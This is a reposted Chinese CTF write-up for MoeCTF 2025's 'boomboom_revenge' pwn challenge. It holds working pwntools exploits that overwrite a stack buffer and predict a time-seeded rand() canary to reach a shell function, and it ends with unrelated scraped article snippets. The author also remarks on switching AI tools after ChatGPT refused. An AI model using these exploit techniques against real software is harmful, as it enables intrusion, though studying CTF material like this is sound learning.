MoeCTF 2025 二进制漏洞审计:boomboom_revenge

news/2025/9/27 22:23:21/文章来源:https://www.cnblogs.com/b1ackstar/p/19115751

前情提要

栈溢出漏洞,简单的校验逻辑,但很容易被唬住,需要一点耐心。

题目分析

你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?
你可能需要使用 Python ctypes 包来直接调用 C 库函数。
本题解法与时间有关,如果你出现本地能通远程不通的情况,请多试几次。

一般来说,这类pwn题没有多余的提示,先不管它,对比一下两个程序IDA反编译的源码:
boom:

boom_revenge:

共有的shell函数:


俩程序几乎一样,只是在v5、v6和canary的校验上有所区别,其中第一种就很容易绕过(人为实现的假canary),无非是在覆盖栈时另v6为0即可跳过exit(1),最后返回去执行我们覆盖的shell函数,exploit如下:

from pwn import *#context.log_level = 'debug'
p=process('./pwn')
#p=connect('10.21.199.226', 52321)p.recvuntil(b'(y/n)')
p.sendline(b'y')payload = b'a'*124 #覆盖数组s
payload += b'b'*16 #覆盖v5
payload += p32(0x0) #覆盖v6,其值须为0
payload += b'c'*8 #覆盖rbp
payload += p64(0x40127e) #覆盖返回地址,注意需要直接返回到shell函数本身,否则会EOF
p.sendlineafter(b'Enter your message: ', payload)p.interactive()


由于这个解不涉及时间问题,因此不需要多试。

deepseek真好用:)

对于boom_revenge,由于v5和canary是单独校验,没v6的事,因此不能用上一种方法。但是不会真有人去爆破吧?第一次看见时间相关的这种,我也研究了好一会,deepseek帮大忙(OS:又是利用AI摆烂的一天)。

canary = (int)random() % 114514的本地C逻辑:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>int main() {srand(time(NULL));  // 设置种子为当前时间int canary = rand() % 114514;printf("Canary: %d\n", canary);return 0;
}

对应的python:

from ctypes import CDLL
import timelibc = CDLL('libc.so.6')
libc.srand(int(time.time()))
canary = libc.rand() % 114514
print(f"Python predicted: {canary}")

因此exploit:

from pwn import *
from ctypes import CDLL
import time#context.log_level = 'debug'
p=process('./pwn2')
#p=connect('10.21.199.226', 52321)p.recvuntil(b'(y/n)')
p.sendline(b'y')libc = CDLL('libc.so.6')
current_time = int(time.time())
libc.srand(current_time)
predicted_canary = libc.rand() % 114514payload = b'a'*124
payload += p32(predicted_canary) #16字节拆分为4+12,小端写入v5的值
payload += b'b'*12
payload += p32(0x1)
payload += b'c'*8
payload += p64(0x40127e)
p.sendlineafter(b'Enter your message: ', payload)p.interactive()


但是,但是,但是,要是发远程,由于服务器延迟,需要微调时间,我调了一会,大概是current_time = int(time.time()) - 2即可(必须要有,不然会一直不成功)。


最后吐个槽,以往百用百灵的chatgpt今天那破政策搞得啥都不肯跟我说,deepseek WIN!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/920021.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

跟brocode用c语言做tictoktoe井字棋 - 指南

跟brocode用c语言做tictoktoe井字棋 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

集训总结(九)

9.24~9.26总结9.24 P11770 檐牙覆雪 暴力很好写,直接枚举即可。单次询问复杂度 \(O(nlogn)\)。打个表,发现每个地方的最大雪堆都是由它的最大质因子位置转移而来. 设 \(f_i\) 表示最后 \(i\) 处最大雪团体积,则有转…

Spring Cloud构建分布式微服务架构的完整指南 - 指南

Spring Cloud构建分布式微服务架构的完整指南 - 指南2025-09-27 22:21 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; dis…

.net网站开发全过程网站域名做301

目录 初始化列表 static成员 C11对于非静态成员变量初始化 友元 友元函数 友元类 总结 初始化列表 我们知道&#xff0c;在学习构造函数时&#xff0c;我们知道对象的成员变量的初始化我们是在构造函数函数体内进行初始化的&#xff0c;还有没有其它初始化成员变量的方…

完整教程:操作系统之初识Linux

完整教程:操作系统之初识Linuxpre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&quo…

XJSOJ优化(Stylus脚本)

/* XJSOJ Ultimate Smart Theme - 全面优化与重构 / / 版本: 3.0 - 完整结合版 / / 功能:包含基础圆润优化 + Smart Luogu式深度重构 */ /* === 基础重置与全局样式 === */{ border-radius: 8px !important; transiti…

使用mpm-itk让Apache以不同用户身份运行的完整指南

本文详细介绍了如何使用Apache的mpm-itk模块实现每个虚拟主机以不同用户身份运行,解决WordPress开发和生产环境中的文件权限问题,包含Docker容器配置和PHP邮件功能故障排除方案。使用mpm-itk让Apache以不同用户身份运…

sg.如何打开PySimpleGUI调试器窗口?

在PySimpleGUI中,调试器窗口的打开方式主要有以下三种,每种方式均适用于不同调试场景,且均通过内置调试器实现: 方法一:使用show_debugger_window()函数适用场景:需要快速查看变量值或交互式执行代码时。 操作步…

第6篇、Flask 表单处理与用户认证完全指南:从零到实战

标签:Python Flask Web开发 表单验证 Session Cookie 用户认证 安全编程🎯 为什么选择这篇文章? 在Web开发的世界里,表单处理和用户认证是每个开发者必须掌握的核心技能。无论是构建电商网站、社交平台还是企业管…

做视频网站收费标准wordpress.org密码

近日&#xff0c;全球IT市场研究和咨询公司Gartner发布最新报告《Magic Quadrant™ for Cloud Database Management Systems》&#xff08;全球云数据库管理系统魔力象限&#xff09;。全自研分布式数据库 OceanBase 入选“荣誉提及”&#xff0c;2022 年推出的云数据库 OB Clo…

腾讯开源 AudioStory!能生成 150 秒故事长音频,还会剧情拆解 + 自动配乐 - 详解

腾讯开源 AudioStory!能生成 150 秒故事长音频,还会剧情拆解 + 自动配乐 - 详解2025-09-27 22:09 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overf…

First blog of HannesZ

First blog of HannesZ这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/202501SoftwareEngineering这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/202501SoftwareEngineering/homework/13546这个作…

威联通 NAS Docker 容器更新详解:从备份、推送到重建的全流程指南

本文针对在威联通(QNAP)等 NAS 平台上,因网络限制导致从 Docker Hub 更新容器困难或速度缓慢的问题,提出了一套完整且高效的解决方案。文章以更新 Sun-Panel 导航面板为例,详细阐述了如何利用 PC 作为跳板,结合 …

parameter和defparam的简单用法

parameter和defparam的用法 1.parameter (1)“C语言中的宏定义”功能 对于parameter来说,在我们的verilog语言中,在写.v的文件中,对于同一个变量多次出现,每次都是同时改变这些变量,可以使用parameter来替换变量…

9.27学习笔记

今日速览 环境拓扑(安全开启后) 表格 节点 新增角色 Principal 样例 node1 KDC (kerberos) kadmin/admin@HADOOP.COM node2 YARN RM + Queue Mgmt yarn/node2@HADOOP.COM node3 Phoenix RS hbase/node3@HADOOP.COM 关…

什么网站做兼职最好平台经济是什么意思

首先&#xff0c;我的结论是&#xff0c;如果是对对象进行 操作的话&#xff0c;传的是地址&#xff0c;如果是对基本数据类型进行操作的话&#xff0c;传的是值!下面&#xff0c;我再用一个小的实例来测试我的结论&#xff1a;class Person {int age;public void setAge(int a…

开学日记

dse好玩的dse好玩 我选了M2/物理/化学,物理和M2老师允许我不听课,所以理论上我可以偶尔去隔壁中国文学&&历史客串一下,好玩的 M2目前就是在学代数入门,感觉学的东西和深度不是很牛,但是我们神秘的M2老师说…

生活随笔

2025.9.27 今天不用上课(开心 做了一些题水了会洛谷一天就结束了!

网站免费建站广告机创新的南昌网站制作

目录 1 填算式 2 提取子串 3 机器人行走 4 地址格式转换 5 排日程 前言&#xff1a;以下代码仅供参考&#xff0c;若有错误欢迎指正哦~ 1 填算式 【结果填空】 (满分11分)看这个算式&#xff1a;☆☆☆ ☆☆☆ ☆☆☆如果每个五角星代表 1 ~ 9 的不同的数字。这个算式有多少种…

西宁商城网站建设公司免费解析素材网站

制造执行系统MES是一种应用于制造工厂的实际操作系统&#xff0c;它通过实时监控和控制生产流程&#xff0c;为生产过程提供全面的管理和优化。在MES管理系统解决方案中&#xff0c;设备管理功能是非常重要的一部分&#xff0c;它可以实现设备实时监控、故障预警、维护保养等功…